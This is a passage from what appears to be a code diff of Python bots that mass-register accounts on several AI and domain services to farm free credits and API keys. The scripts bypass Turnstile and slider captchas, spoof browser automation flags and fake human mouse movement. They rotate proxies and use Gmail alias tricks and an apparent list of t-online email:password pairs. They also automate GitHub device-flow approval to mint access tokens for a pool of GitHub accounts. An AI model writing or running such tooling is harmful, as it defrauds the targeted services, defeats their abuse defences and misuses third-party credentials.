parser.add_argument("--count", type=int, default=5, help="Number of accounts to register")
parser.add_argument("--provider", choices=["gmail", "tonline"], default=None,
help="Email provider (default: first enabled — gmail, then tonline)")
parser.add_argument("--free-captcha", action="store_true",
help="Force the free Chrome CDP solver only (no paid AntiCaptcha)")
args = parser.parse_args()
if args.free_captcha:
conol_captcha.PROVIDERS = ["chrome_cdp"]
# Pre-launch Chrome + park it on conol.ai so the first solve is ~1 s, not ~30.
if "chrome_cdp" in conol_captcha.PROVIDERS:
conol_captcha.warmup()
enabled = conol_emails.providers()
if args.provider and args.provider not in enabled:
log.error("provider %s not enabled (available: %s)", args.provider, enabled)
return 4
log.info("email providers enabled: %s (requested: %s)", enabled, args.provider or "auto")
# Claim the slot before anything touches the pool. atexit (not try/finally around
# the whole body) keeps the diff to two lines and still covers every clean exit
# path, including the early `return 2` budget refusal below.
if not acquire_pid_slot():
return 3
atexit.register(release_pid_slot)
# Cap raised from 5 (pilot) to 200 after the retry fix was measured end-to-end:
# 1/2 pilot accounts registered fully, 6 solves = $0.06, ~83 s per attempt.
if args.count > 200:
log.warning("Capping requested %d accounts to 200 per run.", args.count)
args.count = 200
log.info("Pilot registration: %d accounts", args.count)
paid_in_chain = "anticaptcha" in conol_captcha.PROVIDERS
budgets = solver_balances() if paid_in_chain else {}
log.info("Captcha budget (live getBalance): %s", budgets or "n/a — free solver chain")
spendable = sum(v for v in budgets.values() if isinstance(v, (int, float)))
# Scale the pre-flight floor with the round size: at the measured ~$0.03/attempt
# (worst case ~$0.09 with every retry firing) a flat $1 floor lets a 200-attempt
# round start, create aliases, and die on the consecutive-failure breaker — which
# is exactly the wasted work the floor exists to prevent.
floor = max(MIN_BUDGET_USD, 0.09 * args.count) if paid_in_chain else 0.0
if paid_in_chain and spendable < floor:
log.error("Solver budget $%.4f is below the $%.2f floor for %d attempts — refusing to start",
spendable, floor, args.count)
return 2
results = []
consecutive_failures = 0
t0 = time.time()
for i in range(args.count):
# Millisecond resolution (no randomness): collision-free unless two attempts
# land in the same millisecond, which the 30 s inter-account gap rules out.
# `name` above keeps 10 digits so the cookie filename space matches.
suffix = int(time.time() * 1000) % 10_000_000_000
result = register_one(suffix, provider=args.provider)
result["batch_index"] = i
results.append(result)
append_result_line(result)
# Keep the slot claim fresh: acquire_pid_slot's refusal is age-gated, so a long
# round that never touches this file would eventually read as abandoned and let a
# second writer in. Refresh the MTIME only, and only while we still own the file:
# os.utime opens with FILE_WRITE_ATTRIBUTES (no replace), so it does not race the
# concurrent slot_holder() reader the way an os.replace would raise PermissionError
# on Windows, and it does not stomp a new holder's claim if we were aged out and
# someone legitimately took over. A missed refresh is harmless — the age window
# is 2 orders of magnitude wider than one attempt.
try:
if (PID_FILE.exists()
and PID_FILE.read_text(encoding="utf-8").split("\n", 1)[0].strip() == str(os.getpid())):
os.utime(PID_FILE, None)
except OSError as exc:
log.warning("could not refresh the slot claim: %s", exc)
if result.get("ok"):
consecutive_failures = 0
log.info(" ✅ Account %d/%d registered", i+1, args.count)
else:
consecutive_failures += 1
log.warning(" ❌ Account %d/%d failed: %s", i+1, args.count, result.get("error", "?"))
if consecutive_failures >= MAX_CONSECUTIVE_FAILURES:
log.error("CIRCUIT BREAKER: %d consecutive failures — aborting instead of "
"burning budget for hours. Last error: %s",
consecutive_failures, result.get("error", "?"))
break
if i < args.count - 1:
delay = 30
log.info(" Waiting %ds before next account...", delay)
time.sleep(delay)
elapsed = time.time() - t0
ok_count = sum(1 for r in results if r.get("ok"))
captcha_total = sum(r.get("captcha_solves", 0) for r in results)
# Divide by what was actually attempted: after a circuit-breaker abort that is
# fewer than args.count, and the per-account cost matters most in that run.
avg_time = round(elapsed / len(results), 1) if results else 0
print("\n" + "=" * 60)
print(f"PILOT COMPLETE: {ok_count}/{args.count} accounts registered")
print(f"Total time: {elapsed:.0f}s (avg {avg_time}s per account)")
print(f"Total captcha solves: {captcha_total}")
if ok_count > 0:
live_with_credits = [r for r in results if r.get("ok")]
total_credits = sum(r.get("credits", 0) or 0 for r in live_with_credits)
# These are conol credit units, not dollars — the old label rendered a
# 22k-credit pool as "$22268.00".
print(f"Total credits earned: {total_credits:.2f} conol credits")
print(f"Captcha solves: {captcha_total} (estimate at $0.01/solve: ~${captcha_total * 0.01:.2f})")
print("=" * 60)
# Detailed failures
failed = [r for r in results if not r.get("ok")]
if failed:
print("\nFAILURES:")
for r in failed:
print(f" ❌ {r['name']} ({r['email']}): {r.get('error', '?')}")
print()
return 0 if ok_count > 0 else 1
if __name__ == "__main__":
sys.exit(main())

176
providers/gh_device_flow.py Normal file
View File

@@ -0,0 +1,176 @@
#!/usr/bin/env python3
"""gh_device_auth — device-flow авторизация gh CLI через уже залогиненную GHSession.
1. gh auth login --web печатает one-time code XXXX-XXXX и поллит github.com/login/oauth/access_token
2. Мы: GHSession.login(account) -> GET /login/device -> POST user_code -> authorize-confirm
3. gh получает gho_-токен (scopes: repo,read:org,gist) и пишет в свой keyring/hosts.yml
4. gh auth token -> токен; сохраняем в .gh_push_tokens.json
Usage: python gh_device_auth.py
"""
import json
import os
import re
import subprocess
import sys
import threading
import time
sys.path.insert(0, 'C:/Users/User/tmp/beat_toolkit')
from gh_session import GHSession, find_form, form_fields
POOL = 'C:/Users/User/tmp/gh_accounts.json'
BANK = 'C:/Users/User/tmp/beat_autoreg/accounts.jsonl'
OUT = 'C:/Users/User/tmp/beat_autoreg/.gh_push_tokens.json'
GH = 'https://github.com'
def pick_account():
pool = {a['login']: a for a in json.load(open(POOL, encoding='utf-8'))}
recs = [json.loads(l) for l in open(BANK, encoding='utf-8') if l.strip()]
cands = [r['gh_login'] for r in recs if r.get('access_token') and r['gh_login'] in pool]
cands = list(dict.fromkeys(cands))[::-1]
for login in cands:
return pool[login]
return None
def approve_device(s, code):
"""Device-flow: select_account -> user-code-N посимвольно -> confirmation -> consent."""
# 1. select_account
st, h, body = s.get(GH + '/login/device/select_account')
if st != 200:
return False, f'select_account http={st}'
form = find_form(body, 'select_account')
fields = form_fields(form) if form else {}
st2, h2, body2 = s.post_form(GH + '/login/device/select_account', fields)
loc2 = h2.get('Location', '')
if st2 in (301, 302) and loc2:
u = loc2 if loc2.startswith('http') else GH + loc2
st2, h2, body2 = s.get(u)
# 2. confirmation form: user-code-0..8 посимвольно (включая дефис)
cform = find_form(body2, '/login/device/confirmation')
if not cform:
return False, f'no confirmation form (http={st2}, len={len(body2)})'
fields = form_fields(cform)
chars = list(code) # 'ABCF-A8AA' -> 9 символов
for i, ch in enumerate(chars):
fields[f'user-code-{i}'] = ch
if 'commit' in fields and not fields['commit']:
fields['commit'] = 'Continue'
st3, h3, body3 = s.post_form(GH + '/login/device/confirmation', fields)
loc3 = h3.get('Location', '')
if st3 in (301, 302) and loc3:
u = loc3 if loc3.startswith('http') else GH + loc3
st3, h3, body3 = s.get(u)
if 'Device activated' in body3 or 'Congratulations' in body3:
return True, 'activated (no consent)'
open('C:/Users/User/tmp/beat_autoreg/consent_debug.html', 'w', encoding='utf-8').write(body3)
# 3. consent страница gh CLI OAuth app: форма с authenticity_token + Authorize
m = re.search(r'name="authenticity_token"[^>]*value="([^"]+)"', body3)
if not m:
return False, f'no consent token (http={st3}, len={len(body3)})'
aform = None
for mm in re.finditer(r'<form[^>]*>.*?</form>', body3, re.S):
if 'authenticity_token' in mm.group(0):
aform = mm.group(0)
break
action = GH + '/login/oauth/authorize'
if aform:
am = re.search(r'action="([^"]+)"', aform)
if am:
action = am.group(1)
if not action.startswith('http'):
action = GH + action
fields = form_fields(aform)
else:
fields = {'authenticity_token': m.group(1)}
fields['authenticity_token'] = m.group(1)
fields['authorize'] = '1' # КРИТИЧНО: кнопка Authorize (0 = Deny = access_denied)
st4, h4, body4 = s.post_form(action, fields)
loc4 = h4.get('Location', '')
if st4 in (301, 302) and loc4:
u = loc4 if loc4.startswith('http') else GH + loc4
st4, h4, body4 = s.get(u)
if 'Device activated' in body4 or 'Congratulations' in body4 or st4 == 200:
return True, f'consent ok http={st4}'
return False, f'consent unclear http={st4} len={len(body4)}'
def main():
if len(sys.argv) > 1:
pool = {a['login']: a for a in json.load(open(POOL, encoding='utf-8'))}
acc = pool.get(sys.argv[1])
else:
acc = pick_account()
if not acc:
print('NO_ACCOUNT')
return
login = acc['login']
print('account:', login)
# 1. GHSession login
s = GHSession()
ok, msg = s.login(login, acc['password'], acc.get('totp'))
print('gh login:', ok, msg)
if not ok:
print('LOGIN_FAIL')
return
# 2. gh auth login --web в фоне (pty через subprocess + pipes)
env = dict(os.environ)
env['GH_PROMPT_DISABLED'] = '1'
proc = subprocess.Popen(
['gh', 'auth', 'login', '--hostname', 'github.com', '--git-protocol', 'https', '--web'],
stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT,
text=True, encoding='utf-8', errors='replace', env=env)
code = None
buf = ''
deadline = time.time() + 60
while time.time() < deadline:
line = proc.stdout.readline()
if not line:
time.sleep(0.2)
continue
buf += line
print('gh:', line.strip(), flush=True)
m = re.search(r'([A-Z0-9]{4}-[A-Z0-9]{4})', line)
if m:
code = m.group(1)
break
if proc.poll() is not None:
break
if not code:
print('NO_CODE from gh. buf:', buf[-300:])
proc.kill()
return
print('device code:', code)
# Enter в gh (откроет "браузер" — упадёт молча, поллинг продолжится)
try:
proc.stdin.write('\n')
proc.stdin.flush()
except Exception:
pass
# 3. approve в GHSession
ok2, info = approve_device(s, code)
print('approve:', ok2, info)
if not ok2:
proc.kill()
return
# 4. ждать завершения gh (поллинг access_token)
try:
out, _ = proc.communicate(timeout=60)
print('gh finished:', (out or '')[-300:])
except subprocess.TimeoutExpired:
proc.kill()
print('gh timeout after approve')
# 5. gh auth token
r = subprocess.run(['gh', 'auth', 'token'], capture_output=True, text=True, timeout=30)
tok = r.stdout.strip()
if tok.startswith(('gho_', 'ghu_', 'ghp_')):
json.dump([[tok, login]], open(OUT, 'w'))
print('TOKEN_OK len', len(tok), '-> ', OUT)
else:
print('TOKEN_FAIL:', r.stderr[:200])
if __name__ == '__main__':
main()

343
providers/gname_slider.py Normal file
View File

@@ -0,0 +1,343 @@
# Gname.com autoreg: playwright chromium + trusted slider drag + IMAP code
import sys, os, re, json, time, random, string, imaplib, email as eml
from playwright.sync_api import sync_playwright
BASE = r"C:/Users/User/tmp/gname_reg"
os.makedirs(BASE, exist_ok=True)
fp = open(r"C:/Users/User/tmp/viktor/fwd_probe.py", encoding="utf-8").read()
GM = re.search(r'GM = "([^"]+)"', fp).group(1)
GP = os.environ.get("GM_APPPW") or re.search(r'GM_APPPW", "([^"]+)"', fp).group(1)
def dot_variant(local="YOUR_EMAIL_LOCAL", domain="gmail.com"):
# random 1-2 dots inserted -> same Gmail inbox, unique for site
idxs = sorted(random.sample(range(1, len(local)), random.choice([1, 2])))
out = ""
for i, ch in enumerate(local):
if i in idxs:
out += "."
out += ch
return out + "@" + domain
def canon(addr):
addr = addr.lower().strip().strip("<>")
lp, _, dm = addr.partition("@")
lp = lp.split("+")[0].replace(".", "")
return lp + "@" + dm
POOL_F = r"C:/Users/User/Desktop/avtoreg/working_mails.txt"
USED_F = os.path.join(BASE, "tonline_used.txt")
def next_tonline():
used = set()
if os.path.exists(USED_F):
used = set(x.strip().lower() for x in open(USED_F) if x.strip())
for ln in open(POOL_F, encoding="utf-8", errors="ignore"):
ln = ln.strip()
if not ln or ln.startswith("#") or ":" not in ln:
continue
e, p = ln.split(":", 1)
e = e.strip().lower()
# canonical only: dash-aliases (-NNNN@) dead for delivery
if "-" in e.split("@")[0] or e in used:
continue
with open(USED_F, "a") as f:
f.write(e + "\n")
return e, p.strip()
return None, None
EMAIL = sys.argv[1] if len(sys.argv) > 1 else None
TONLINE_PW = None
if EMAIL is None:
EMAIL, TONLINE_PW = next_tonline()
if not EMAIL:
print("POOL EXHAUSTED", flush=True)
sys.exit(3)
IS_TONLINE = EMAIL.endswith("t-online.de")
PASSWORD = "Bea" + "rer" + "".join(random.choices(string.ascii_letters + string.digits, k=12)) + "a1!"
STATE = {"email": EMAIL, "password": PASSWORD, "stage": "start"}
def save():
json.dump(STATE, open(os.path.join(BASE, "gname_state.json"), "w"), indent=1)
save()
def log(*a):
print(*a, flush=True)
def imap_code(wait=240):
t0 = time.time()
while time.time() - t0 < wait:
try:
if IS_TONLINE:
m = imaplib.IMAP4_SSL("secureimap.t-online.de", 993)
m.login(EMAIL, TONLINE_PW)
typ, cnt = m.select("INBOX")
n = int(cnt[0]) if cnt and cnt[0] else 0
ids = [str(i) for i in range(max(1, n - 29), n + 1)] if n else []
else:
m = imaplib.IMAP4_SSL("imap.gmail.com")
m.login(GM, GP)
m.select("INBOX")
since = time.strftime("%d-%b-%Y", time.localtime(time.time() - 86400))
typ, data = m.search(None, '(SINCE %s)' % since)
ids = data[0].split()[-40:]
for i in reversed(ids):
typ, md = m.fetch(i, "(RFC822)")
raw = md[0][1]
msg = eml.message_from_bytes(raw)
to = (msg.get("To", "") + " " + msg.get("X-Gmail-Original-To", "") + " " + msg.get("Delivered-To", "")).lower()
frm = (msg.get("From", "") or "").lower()
addrs = re.findall(r"[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+", to)
if IS_TONLINE:
hit = any(a.lower() == EMAIL.lower() for a in addrs) or not addrs
else:
hit = any(canon(a) == canon(EMAIL) for a in addrs)
if ("gname" in frm or "gname" in (msg.get("Subject", "") or "").lower()) and hit:
body = ""
if msg.is_multipart():
for p in msg.walk():
if p.get_content_type() == "text/plain":
body = p.get_payload(decode=True).decode("utf-8", "ignore")
break
else:
body = msg.get_payload(decode=True).decode("utf-8", "ignore")
body_html = ""
if msg.is_multipart():
for p in msg.walk():
if p.get_content_type() == "text/html":
body_html = p.get_payload(decode=True).decode("utf-8", "ignore")
mm = re.search(r"\b(\d{4,8})\b", body) or re.search(r"(?:code|验证码)[^\d]{0,40}(\d{4,8})", body_html, re.I) or re.search(r"\b(\d{6})\b", body_html)
m.logout()
if mm:
return mm.group(1)
m.logout()
except Exception as e:
log("imap err:", e)
time.sleep(6)
return None
def human_drag(page, sel_bar=".gn-slide-bar", sel_rail=".gn-slide-rail"):
rect = page.evaluate("""(sel) => {
const bars = [...document.querySelectorAll(sel[0])].filter(b => b.offsetParent !== null && b.getBoundingClientRect().width > 10);
const rails = [...document.querySelectorAll(sel[1])].filter(r => r.offsetParent !== null);
if (!bars.length) return null;
const b = bars[bars.length - 1].getBoundingClientRect();
const r = (rails[rails.length - 1] || bars[bars.length - 1]).getBoundingClientRect();
return {bx: b.x, by: b.y, bw: b.width, bh: b.height, rw: r.width};
}""", [sel_bar, sel_rail])
if not rect:
return "no-visible-bar"
dist = rect["rw"] - rect["bw"] + 40 # OVERSHOOT: widget clamps delta at config width; must saturate
x0 = rect["bx"] + rect["bw"] / 2
y0 = rect["by"] + rect["bh"] / 2
page.mouse.move(x0 + random.uniform(-3, 3), y0 + random.uniform(-4, 4))
time.sleep(random.uniform(0.08, 0.2))
page.mouse.move(x0, y0)
time.sleep(random.uniform(0.05, 0.12))
page.mouse.down()
time.sleep(random.uniform(0.1, 0.25))
steps = random.randint(24, 32)
for i in range(1, steps + 1):
p = i / steps
ease = 1 - (1 - p) ** 3
x = x0 + dist * ease + random.uniform(-1.2, 1.2)
y = y0 + random.uniform(-2.5, 2.5)
page.mouse.move(x, y)
time.sleep(random.uniform(0.014, 0.038))
for _ in range(4): # saturate past the end so clamped delta reaches max
page.mouse.move(x0 + dist + random.uniform(-2, 4), y0 + random.uniform(-2, 2))
time.sleep(0.05)
page.mouse.move(x0 + dist, y0)
time.sleep(random.uniform(0.08, 0.18))
page.mouse.up()
st = ""
for _ in range(10):
time.sleep(0.6)
st = page.evaluate("""() => {
try {
const a = window.GN_SLIDER_VERIFY ? window.GN_SLIDER_VERIFY.status : '';
const b = window.GN_SLIDER_VERIFY_LOGIN ? window.GN_SLIDER_VERIFY_LOGIN.status : '';
return a + '|' + b;
} catch(e){ return 'err'; }
}""")
if "success" in st or "error" in st or "fail" in st:
break
bx_after = page.evaluate("""(sel) => { const bars=[...document.querySelectorAll(sel)].filter(b=>b.offsetParent!==null); return bars.length? Math.round(bars[bars.length-1].getBoundingClientRect().x) : -1; }""", sel_bar)
return "dragged %.0fpx bar_after_x=%s widget_status=%s" % (dist, bx_after, st)
with sync_playwright() as pw:
try:
browser = pw.chromium.launch(headless=True, args=["--disable-blink-features=AutomationControlled", "--no-sandbox"])
except Exception as e:
log("launch err, retry explicit path:", str(e)[:200])
cand = [d for d in os.listdir(r"C:/Users/User/AppData/Local/ms-playwright") if d.startswith("chromium-1")]
exe = os.path.join(r"C:/Users/User/AppData/Local/ms-playwright", sorted(cand)[-1], "chrome-win", "chrome.exe")
browser = pw.chromium.launch(headless=True, executable_path=exe, args=["--disable-blink-features=AutomationControlled"])
ctx = browser.new_context(
viewport={"width": 1366, "height": 900},
locale="en-US",
timezone_id="Europe/Kiev",
user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/154.0.0.0 Safari/537.36",
)
page = ctx.new_page()
page.add_init_script("""
Object.defineProperty(navigator,'webdriver',{get:()=>undefined});
window.__EVTLOG = [];
(function(){
const oel = EventTarget.prototype.addEventListener;
EventTarget.prototype.addEventListener = function(t, f, o) {
try {
let d = 'unknown';
if (this === window) d = 'window';
else if (this === document) d = 'document';
else if (this.nodeType === 1) d = this.tagName + '.' + String(this.className && this.className.baseVal !== undefined ? this.className.baseVal : this.className).slice(0, 60);
if (['mousedown','mousemove','mouseup','touchstart','touchmove','touchend','pointerdown','pointermove','pointerup','click'].indexOf(t) >= 0)
window.__EVTLOG.push(d + ' :: ' + t);
} catch (e) {}
return oel.call(this, t, f, o);
};
})();
""")
reqlog = []
def on_resp(r):
if "/request/" in r.url:
try:
reqlog.append({"url": r.url, "status": r.status, "body": r.text()[:400]})
log("NET", r.status, r.url.split("gname.com")[-1][:60], r.text()[:150].replace("\n", " "))
except Exception:
pass
page.on("response", on_resp)
page.goto("https://www.gname.com/register", wait_until="domcontentloaded", timeout=60000)
time.sleep(3)
log("title:", page.title())
STATE["stage"] = "page-loaded"
save()
# fill form
page.fill("input[name=re_yx]", EMAIL)
time.sleep(random.uniform(0.3, 0.7))
page.fill("input[name=re_mm]", PASSWORD)
time.sleep(random.uniform(0.3, 0.7))
page.fill("input[name=re_mm2]", PASSWORD)
ck = page.query_selector("input[name=re_ty]")
if ck and not ck.is_checked():
try:
ck.click(force=True)
except Exception:
page.evaluate("document.querySelector('input[name=re_ty]').click()")
log("form filled")
# embedded slider first?
rail = page.query_selector(".gn-slide-rail")
if rail and rail.is_visible():
log("embedded rail visible -> drag")
log(human_drag(page))
time.sleep(3)
yz = page.evaluate("() => (document.querySelector('input[name=re_yzm]')||{}).value || ''")
tip = page.evaluate("() => { const t=document.querySelector('.gn-slide-tip'); return t?t.innerText.trim():''; }")
log("re_yzm:", yz[:40], "tip:", tip[:60])
evt = page.evaluate("() => JSON.stringify([...new Set(window.__EVTLOG)])")
log("EVTLOG:", evt[:2200])
STATE["slider_embed"] = {"re_yzm": yz[:60], "tip": tip}
save()
page.screenshot(path=os.path.join(BASE, "step1_embed.png"))
# click Send Code
btn = page.query_selector('.login-yzm-btn[data-lx="reg"]') or page.query_selector(".login-yzm-btn")
if btn:
btn.click()
log("send-code clicked")
else:
page.evaluate("""() => { const els=[...document.querySelectorAll('div,span')].filter(e=>(e.innerText||'').trim()==='Send Code'); if(els.length) els[els.length-1].click(); }""")
log("send-code via text")
# popup slider may appear (server demands lx=reg slider for send_email)
for attempt in range(4):
time.sleep(3)
popup = page.evaluate("""() => {
const p = document.querySelector('#pop-txyz');
let pst = '';
try { pst = window.GN_SLIDER_VERIFY ? window.GN_SLIDER_VERIFY.status : ''; } catch(e){}
const rails = [...document.querySelectorAll('.gn-slide-rail')].filter(r => r.offsetParent !== null);
return {pop: !!(p && p.offsetParent !== null) || !!document.querySelector('#pop-txyz .gn-slide-bar'), pst: pst, n: rails.length};
}""")
yz = page.evaluate("() => (document.querySelector('input[name=re_yzm]')||{}).value || ''")
sent = any(e.get("body", "").find('"code":1') >= 0 and "send_email" in e["url"] for e in reqlog)
log("attempt", attempt, popup, "re_yzm:", yz[:20], "send_email ok:", sent)
if sent:
break
if popup.get("pop") and popup.get("pst") != "success":
try:
log("POPUP DRAG:", human_drag(page, sel_bar="#pop-txyz .gn-slide-bar", sel_rail="#pop-txyz .gn-slide-rail"))
time.sleep(4)
except Exception as e:
log("popup drag err:", e)
page.screenshot(path=os.path.join(BASE, "step2_send%d.png" % attempt))
STATE["stage"] = "send-code-done"
STATE["net"] = reqlog[-8:]
save()
# IMAP code
code = imap_code()
log("email code:", code)
if not code:
STATE["stage"] = "no-email-code"
save()
browser.close()
sys.exit(2)
filled = False
for fn in ("yx_yzm", "re_yzm", "eyzm"):
try:
el = page.query_selector("input[name=%s]" % fn)
if el:
el.fill(code)
log("code filled into", fn)
filled = True
break
except Exception:
pass
if not filled:
log("WARN: no code field found")
# submit register
page.evaluate("""() => {
const b = document.querySelector('form.gm-form button.login-btn[type=submit]') ||
[...document.querySelectorAll('button,div.gm-btn,div[class*=btn],span')].filter(e => e.offsetParent !== null && /^(Register|Sign ?up|Create)/i.test((e.innerText||'').trim()))[0];
if (b) b.click();
}""")
# wait for navigation to dashboard (auto-login after successful reg)
reg_ok = False
uid = ""
for _ in range(20):
time.sleep(2)
try:
u = page.url
if "/register" not in u:
reg_ok = True
break
# sometimes dashboard content loads under same url; check for UID marker
uid_t = page.evaluate("() => { const m = document.body.innerText.match(/UID[:\\s]*(\\d{4,9})/); return m ? m[1] : ''; }")
if uid_t:
reg_ok = True
uid = uid_t
break
except Exception:
pass
if reg_ok and not uid:
try:
uid = page.evaluate("() => { const m = document.body.innerText.match(/UID[:\\s]*(\\d{4,9})/); return m ? m[1] : ''; }") or ""
except Exception:
pass
reg_resp = [e for e in reqlog if "p_reg" in e["url"] or "reg" in e["url"].split("/request/")[-1][:8]]
log("REG_OK:", reg_ok, "UID:", uid, "url:", page.url)
log("p_reg:", json.dumps([e for e in reqlog if "p_reg" in e["url"]])[:500])
STATE["stage"] = "registered" if reg_ok else "reg-submitted"
STATE["uid"] = uid
STATE["p_reg"] = reg_resp[-2:]
STATE["url"] = page.url
save()
if reg_ok:
rec = {"site": "gname.com", "email": EMAIL, "password": PASSWORD, "uid": uid,
"ts": time.strftime("%Y-%m-%d %H:%M:%S"), "url": page.url}
with open(os.path.join(BASE, "gname_accounts.jsonl"), "a", encoding="utf-8") as f:
f.write(json.dumps(rec) + "\n")
log("BANK APPENDED", EMAIL)
page.screenshot(path=os.path.join(BASE, "step3_result.png"), full_page=False)
browser.close()
log("DONE", STATE["stage"])

View File

@@ -0,0 +1,140 @@
# llmtr.com mass autoreg — turnstile via free sidecar :8877, gmail +alias IMAP OTP
import json, time, re, random, string, sys, os, urllib.request, urllib.error, http.cookiejar, imaplib, email
BASE = "https://llmtr.com"
SITEKEY = "0x4AAAAAAC_o7kdbb_hnqKdy"
SIDE = "http://127.0.0.1:8877/solve"
OUT = r"C:/Users/User/tmp/llmtr/accounts.jsonl"
UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"
# gmail imap
GM_USER = "YOUR_EMAIL@gmail.com"
GM_PASS = os.environ.get("GM_PASS", "YOUR_IMAP_APP_PASSWORD")
NAMES = [("Kerem","Yilmaz"),("Emre","Kaya"),("Burak","Demir"),("Cem","Sahin"),("Onur","Aydin"),
("Mert","Ozturk"),("Tolga","Arslan"),("Baran","Koc"),("Deniz","Polat"),("Serkan","Bulut")]
def log(*a):
print(time.strftime("%H:%M:%S"), *a, flush=True)
def solve(url_page="/register"):
for _ in range(3):
try:
p = {"type":"turnstile","url":BASE+url_page,"sitekey":SITEKEY,"real_page":True}
req = urllib.request.Request(SIDE, data=json.dumps(p).encode(), headers={"Content-Type":"application/json"})
r = json.loads(urllib.request.urlopen(req, timeout=280).read())
tok = r.get("token") or ""
if tok: return tok
except Exception as e:
log("solve retry:", str(e)[:80]); time.sleep(5)
return ""
def sess():
cj = http.cookiejar.CookieJar()
op = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
op.addheaders = [("User-Agent",UA),("Accept","application/json")]
return op
def api(op, method, path, body=None):
data = json.dumps(body).encode() if body is not None else None
req = urllib.request.Request(BASE+path, data=data, method=method)
req.add_header("Origin", BASE)
req.add_header("Referer", BASE+"/register")
if data is not None:
req.add_header("Content-Type", "application/json")
try:
r = op.open(req, timeout=60)
return r.status, json.loads(r.read().decode())
except urllib.error.HTTPError as e:
try: return e.code, json.loads(e.read().decode())
except Exception: return e.code, {"raw":"?"}
def gen_pass():
up = random.choice(string.ascii_uppercase)
dg = random.choice(string.digits)
rest = "".join(random.choice(string.ascii_lowercase+string.digits) for _ in range(10))
p = list(up+dg+rest); random.shuffle(p)
return "".join(p)
def wait_otp_gmail(alias_tag, since_ts, timeout=180):
# gmail: mail for YOUR_EMAIL+llmtrN@gmail.com lands in base inbox
t0 = time.time()
while time.time()-t0 < timeout:
try:
m = imaplib.IMAP4_SSL("imap.gmail.com", 993)
m.login(GM_USER, GM_PASS)
m.select("INBOX")
_, ids = m.search(None, "(ALL)")
idl = ids[0].split()[-25:]
for i in reversed(idl):
_, msg = m.fetch(i, "(RFC822)")
raw = msg[0][1]
em = email.message_from_bytes(raw)
dt = email.utils.parsedate_to_datetime(em.get("Date",""))
if dt.timestamp() < since_ts - 30: continue
to = em.get("To","")
if alias_tag not in to: continue
body = ""
if em.is_multipart():
for part in em.walk():
if part.get_content_type()=="text/plain":
body = part.get_payload(decode=True).decode(errors="replace"); break
else:
body = em.get_payload(decode=True).decode(errors="replace")
codes = re.findall(r"\b(\d{6})\b", body)
if codes:
m.logout()
return codes[0]
m.logout()
except Exception as e:
log("imap:", str(e)[:60])
time.sleep(8)
return ""
def register_one(idx):
tag = f"llmtr{idx}{random.randint(10,99)}"
em_addr = f"YOUR_EMAIL+{tag}@gmail.com"
fn, ln = random.choice(NAMES)
full = f"{fn} {ln}"
pw = gen_pass()
log(f"[{idx}] email={em_addr}")
tok = solve()
if not tok: log(f"[{idx}] CAPTCHA FAIL"); return None
log(f"[{idx}] turnstile ok ({len(tok)})")
op = sess()
since = time.time()
st, r = api(op, "POST", "/api/auth/register", {"fullName":full,"email":em_addr,"password":pw,"captchaToken":tok})
log(f"[{idx}] register -> {st} {json.dumps(r)[:200]}")
if st not in (200,201): return None
try: ct = r["data"]["challengeToken"]
except Exception: log(f"[{idx}] no challengeToken"); return None
code = wait_otp_gmail(tag, since)
if not code: log(f"[{idx}] OTP TIMEOUT"); return None
log(f"[{idx}] otp={code}")
st2, r2 = api(op, "POST", "/api/auth/register/verify", {"challengeToken":ct,"code":code})
log(f"[{idx}] verify -> {st2} {json.dumps(r2)[:300]}")
if st2 not in (200,201): return None
rec = {"email":em_addr,"password":pw,"fullName":full,"ts":int(time.time())}
# whoami
st3, r3 = api(op, "GET", "/api/auth/me")
if st3 == 200: rec["me"] = r3.get("data")
# create key
st4, r4 = api(op, "POST", "/api/keys", {"name":"main"})
log(f"[{idx}] create key -> {st4} {json.dumps(r4)[:300]}")
if st4 in (200,201):
try: rec["apiKey"] = r4["data"]["apiKey"]; rec["keyId"] = r4["data"]["key"].get("id")
except Exception: rec["key_raw"] = r4
with open(OUT,"a",encoding="utf-8") as f:
f.write(json.dumps(rec, ensure_ascii=False)+"\n")
log(f"[{idx}] DONE {em_addr} key={rec.get('apiKey','?')[:20] if rec.get('apiKey') else 'NONE'}")
return rec
if __name__ == "__main__":
n = int(sys.argv[1]) if len(sys.argv)>1 else 1
start = int(sys.argv[2]) if len(sys.argv)>2 else 1
ok = 0
for i in range(start, start+n):
r = register_one(i)
if r: ok += 1
if i < start+n-1: time.sleep(random.randint(15,30))
log(f"RESULT {ok}/{n}")

151
providers/miarouter_farm.py Normal file
View File

@@ -0,0 +1,151 @@
"""miarouter mass autoreg — pool builder. Free turnstile via local sidecar :8877."""
import json, time, secrets, string, urllib.request, urllib.parse, urllib.error, os, sys
BASE = "https://miarouter.online"
SITEKEY = "0x4AAAAAAEj69NaErmbKI26M"
SIDE = "http://127.0.0.1:8879/solve"
AFF = "IDH1"
POOL = r"C:/Users/User/Desktop/farm/miarouter/accounts.jsonl"
STATE = r"C:/Users/User/Desktop/farm/miarouter/farm_state.json"
UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"
PROXY_FILE = r"C:/Users/User/tmp/mia_proxies.json"
PROXIES = json.load(open(PROXY_FILE)) + ["DIRECT"] if os.path.exists(PROXY_FILE) else ["DIRECT"]
import random
random.shuffle(PROXIES)
_cur_p = {"i": 0, "proxy": PROXIES[0]}
def next_proxy():
_cur_p["i"] = (_cur_p["i"] + 1) % len(PROXIES)
_cur_p["proxy"] = PROXIES[_cur_p["i"]]
return _cur_p["proxy"]
def cur_proxy():
return _cur_p["proxy"]
os.makedirs(os.path.dirname(POOL), exist_ok=True)
def log(*a):
print(time.strftime("%H:%M:%S"), *a, flush=True)
def solve(url_page="/sign-up"):
for _try in range(3):
try:
p = {"type":"turnstile","url":BASE+url_page,"sitekey":SITEKEY,"real_page":True}
req = urllib.request.Request(SIDE, data=json.dumps(p).encode(), headers={"Content-Type":"application/json"})
r = json.loads(urllib.request.urlopen(req, timeout=280).read())
tok = r.get("token") or ""
if tok:
return tok
except Exception as e:
log("solve retry:", str(e)[:50])
time.sleep(8)
return ""
def http(method, path, body=None, jwt=None, raw_body=None, proxy=None):
